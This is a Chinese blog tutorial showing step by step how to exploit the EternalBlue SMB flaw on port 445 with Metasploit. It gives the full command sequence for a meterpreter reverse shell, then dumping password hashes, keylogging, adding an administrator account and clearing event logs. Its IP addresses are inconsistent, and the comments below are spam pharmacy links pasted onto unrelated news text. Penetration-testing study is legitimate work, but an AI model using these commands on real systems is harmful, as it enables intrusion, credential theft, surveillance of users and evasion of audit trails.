入侵445端口-永恒之蓝漏洞利用-Metasploit

永恒之蓝

 

WannaCry勒索软件中,利用了NSA泄露工具中的“永恒之蓝”漏洞

445端口就是永恒之蓝的入口

我们利用kali里面的Metapsloit工具进行渗透测试(不知道Metasploit百度一下)

测试环境如下

kali的IP:192.168.113.166

win7靶机IP:192.168.84.130

利用模块:ms17_010_eternalblue

 

1.kali打开Metasploit

1.在终端输入(输入几个字母按Tab键可以自动补全)

msfconsole

2019-11-04 08-18-41 的屏幕截图.png

2.打开模块(输入几个字母按Tab键可以自动补全)

use exploit/windows/smb/ms17_010_eternalblue

2019-11-04 08-20-00 的屏幕截图.png

3.设置输入win7靶机IP地址

set RHOSTS 192.168.9.51

2019-11-04 08-22-50 的屏幕截图.png

4.设置攻击负载模块

set payload windows/x64/meterpreter/reverse_tcp

2019-11-04 08-23-46 的屏幕截图.png

5.设置kali的IP

set LHOST 192.168.119.98

2019-11-04 08-25-07 的屏幕截图.png

6.设置监听端口

set LPORT 5555

2019-11-04 08-25-30 的屏幕截图.png

 

7.开始执行模块

exploit

2019-11-04 08-25-54 的屏幕截图.png

8.成功入侵win7靶机

2019-11-04 08-26-46 的屏幕截图.png

(1)我们可以查看他的账户密码的加密值

hashdump

2019-11-04 08-27-05 的屏幕截图.png

 

(2)我们也可以查看他目前屏幕在做什么

screenhot

2019-11-04 08-27-39 的屏幕截图.png

(3)也可以记录他的键盘

keyscan_start 

下载键盘记录

keyscan_dump 

或者上传个木马之类的,总之有很多功能来利用,具体的可以百度查查

(4)获取该计算机已经登陆的账户密码

Kerberos

(5)开启3389端口

 

(6)获取该计算机的超级管理员权限

shell

2019-11-04 08-28-50 的屏幕截图.png

然后可以执行cmd命令

添加一个帐号

net user test 123456 /add

2019-11-04 08-30-17 的屏幕截图.png

升级为管理员帐号

2019-11-04 08-33-49 的屏幕截图.png

也可以执行一些你想要的命令

exit  //退出shell
clearev    //清楚操作日志

2019-11-04 08-35-23 的屏幕截图.png

 

 

445端口永恒之蓝,是个非常危险的漏洞,如果你计算机上也有这个漏洞,不想被看光隐私的话不妨打个补丁

http://www.catalog.update.microsoft.com/search.aspx?q=kb4012212

 

--小顾

本博客所有文章如无特别注明均为原创。作者:GS小顾复制或转载请以超链接形式注明转自 世纪博客
原文地址《入侵445端口-永恒之蓝漏洞利用-Metasploit
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(17325)

I want to make a withdrawal <a href="https://elevationconcept.com/viagra-in-apotheke-kaufen-z7lb">mieux que du viagra</a>  The indexes' weekly performance was mixed. Late in thesession on Friday, the Dow Jones industrial average rose0.5 percent, the S&P added 0.2 percent and the Nasdaq fell 1.1 percent, pressured by selling in some of its bestperformers this year, including Netflix and TeslaMotors Inc.
Donny 3个月前(08-30) 回复
I'm a housewife <a href="http://www.jsross.com/suhagra-100mg-price-india-ce63.pdf">suhagra 100mg price india</a>  French Toast, owned by the LT Apparel Group, expects to double its share of the highly fragmented $930 million U.S. uniform market in five years. Other prominent U.S. uniform suppliers include Elder Manufacturing Co, School Apparel, Dennis Uniform, Rifle/Kaynee, Flynn & O'Hara Uniforms and Young Fashions School Uniforms. They are all privately held.
Sierra 3个月前(08-30) 回复
I'm a member of a gym <a href="https://explosivefunctionalfitness.com/baileys-pharmacy-orlando-fl-359b.pdf">baileys pharmacy</a>  The IMF began a partnership with European institutionsseveral years ago to help stem the debt crisis in Europe andprevent it from spreading to the rest of the world. But thelenders have had to contend with divergent rules and modes ofoperation, leading some officials to urge the IMF to play asmaller role in future European rescue packages.
Sydney 3个月前(08-30) 回复
Children with disabilities <a href="https://www.sousvetementsjulia.fr/testofen-canada-65qe">testofen canada
</a>  "We are pleased to announce a partnership between the Investment Corporation International Fund, the State Fund of Development of North-West Russian Federation and the National Institute of Aviation Technologies with Sauber Motorsport AG, incorporating the promotion of the sport Formula 1 in Russia and jointly developing high-technological solutions," said a Sauber statement.
Ronny 3个月前(08-30) 回复
real beauty page <a href="http://lordallenmusic.com/buy-dapoxetine-in-usa-bdad.pdf">difference entre paroxetine et dapoxetine</a>  &bull; Lowered the maximum daily adult dose of Extra Strength Tylenol to 3,000 milligrams a day, or six pills, unless directed to take more by a doctor. Also lowered maximum adult dose of regular-strength Tylenol.
Stuart 3个月前(08-30) 回复
I've got a full-time job <a href="https://www.mes-cadeaux-personnalises.com/walgreens-clotrimazole-7-yvyj">buy clotrimazole cream 2</a>  The stakes went up last week, when big aluminum buyersrepresented by MillerCoors - America's second-largest brewer -told senators that banks' control of metals warehouses drove upthe brewers' costs by as much as $3 billion last year.
Bobby 3个月前(08-30) 回复
I'd like to cancel this standing order <a href="https://njcassociates.com/acyclovir-cream-price-in-pakistan-b5ww">acyclovir cream</a>  Without a clear central government response, Libya may still slowly fragment with competing regions and cities, loyal to rival tribal and ethnic groups, vying for control of local oil and gas resources.
Martin 3个月前(08-30) 回复
Looking for work <a href="http://forums.aria.co.uk/buy-procerin-in-australia-we9o">where can i buy procerin in australia
</a>  But granting asylum to an American traitor is the least of the Russian insults and outrages since the Obama administration launched its much-hyped “reset” back in 2009, premised on the alleged “interests” of the two countries, which “coincide in many places,” as Vice President Biden put it.
Alfred 3个月前(08-30) 回复
Stolen credit card <a href="http://www.dentistitorino.net/there-generic-drug-seroquel-xr-a4fe.pdf">quetiapine fumarate 200 mg tablets
</a>  JPMorgan’s own 129-page report on the losses, released inJanuary, found that London traders initially tried to hidelosses on the positions. The employees left the bank and thebank sought to claw back pay. The report also blamed managers,some of whom were reassigned or left the bank, for failing tohalt the losses.
Gaylord 3个月前(08-30) 回复
Very interesting tale <a href="https://cratetech.com/buying-viagra-in-the-uk-over-the-counter-ahx7">viagra uk pay with paypal</a>  The administration, reform advocates and companies including health insurers are expected to spend hundreds of millions of dollars on an education campaign to reach an estimated 7 million people, including 2.7 million young adults aged 18 to 35 who are expected to sign up for subsidized coverage next year.
Chris 3个月前(08-30) 回复
1 2 3 4 5 6 ... »